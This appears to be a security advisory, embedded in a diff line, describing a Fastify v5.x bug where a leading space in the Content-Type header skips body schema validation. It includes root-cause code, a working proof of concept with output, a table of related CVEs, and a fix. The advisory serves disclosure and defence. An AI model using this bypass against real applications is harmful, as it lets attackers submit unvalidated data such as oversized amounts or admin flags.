+ "details": "### Summary\nA validation bypass vulnerability exists in Fastify v5.x where request body validation schemas specified via `schema.body.content` can be completely circumvented by prepending a single space character (`\\x20`) to the `Content-Type` header. The body is still parsed correctly as JSON (or any other content type), but schema validation is entirely skipped.\nThis is a regression introduced by commit [`f3d2bcb`](https://github.com/fastify/fastify/commit/f3d2bcb3963cd570a582e5d39aab01a9ae692fe4) (fix for [CVE-2025-32442](https://github.com/fastify/fastify/security/advisories/GHSA-mg2h-6x62-wpwc)).\n\n### Details\nThe vulnerability is a **parser-validator differential** between two independent code paths that process the raw `Content-Type` header differently.\n**Parser path** (`lib/content-type.js`, line ~67) applies `trimStart()` before processing:\n```js\nconst type = headerValue.slice(0, sepIdx).trimStart().toLowerCase()\n// ' application/json' → trimStart() → 'application/json' → body is parsed ✓\n```\n\n**Validator path** (`lib/validation.js`, line 272) splits on `/[ ;]/` before trimming:\n\n```js\nfunction getEssenceMediaType(header) {\n if (!header) return ''\n return header.split(/[ ;]/, 1)[0].trim().toLowerCase()\n}\n// ' application/json'.split(/[ ;]/, 1) → [''] (splits on the leading space!)\n// ''.trim() → ''\n// context[bodySchema][''] → undefined → NO validator found → validation skipped!\n```\n\nThe `ContentType` class applies `trimStart()` before processing, so the parser correctly identifies `application/json` and parses the body. However, `getEssenceMediaType` splits on `/[ ;]/` before trimming, so the leading space becomes a split point, producing an empty string. The validator looks up a schema for content-type `\"\"`, finds nothing, and skips validation entirely.\n**Regression source:** Commit [`f3d2bcb`](https://github.com/fastify/fastify/commit/f3d2bcb3963cd570a582e5d39aab01a9ae692fe4) (April 18, 2025) changed the split delimiter from `';'` to `/[ ;]/` to fix [CVE-2025-32442](https://github.com/fastify/fastify/security/advisories/GHSA-mg2h-6x62-wpwc). The old code (`header.split(';', 1)[0].trim()`) was **not** vulnerable to this vector because `.trim()` would correctly handle the leading space. The new regex-based split introduced the regression.\n\n### PoC\n\n```js\nconst fastify = require('fastify')({ logger: false });\n\nfastify.post('/transfer', {\n schema: {\n body: {\n content: {\n 'application/json': {\n schema: {\n type: 'object',\n required: ['amount', 'recipient'],\n properties: {\n amount: { type: 'number', maximum: 1000 },\n recipient: { type: 'string', maxLength: 50 },\n admin: { type: 'boolean', enum: [false] }\n },\n additionalProperties: false\n }\n }\n }\n }\n }\n}, async (request) => {\n return { processed: true, data: request.body };\n});\n\n(async () => {\n await fastify.ready();\n\n // BLOCKED — normal request with invalid payload\n const res1 = await fastify.inject({\n method: 'POST',\n url: '/transfer',\n headers: { 'content-type': 'application/json' },\n payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })\n });\n console.log('Normal:', res1.statusCode);\n // → 400 FST_ERR_VALIDATION\n\n // BYPASS — single leading space\n const res2 = await fastify.inject({\n method: 'POST',\n url: '/transfer',\n headers: { 'content-type': ' application/json' },\n payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })\n });\n console.log('Leading space:', res2.statusCode);\n // → 200 (validation bypassed!)\n console.log('Body:', res2.body);\n\n await fastify.close();\n})();\n```\n\n**Output:**\n```\nNormal: 400\nLeading space: 200\nBody: {\"processed\":true,\"data\":{\"amount\":9999,\"recipient\":\"EVIL\",\"admin\":true}}\n```\n\n### Impact\nAny Fastify application that relies on <code>schema.body.content</code> (per-content-type body validation) to enforce data integrity or security constraints is affected. An attacker can bypass all body validation by adding a single space before the Content-Type value. The attack requires no authentication and has zero complexity — it is a single-character modification to an HTTP header.\nThis vulnerability is distinct from all previously patched content-type bypasses:\n\nCVE | Vector | Patched in 5.8.4?\n-- | -- | --\nCVE-2025-32442 | Casing / semicolon whitespace | ✅ Yes\nCVE-2026-25223 | Tab character (\\t) | ✅ Yes\nCVE-2026-3419 | Trailing garbage after subtype | ✅ Yes\nThis finding | Leading space (\\x20) | ❌ No\n\n\n**Recommended fix** — add `trimStart()` before the split in `getEssenceMediaType`:\n```js\nfunction getEssenceMediaType(header) {\n if (!header) return ''\n return header.trimStart().split(/[ ;]/, 1)[0].trim().toLowerCase()\n}\n```",
0 commit comments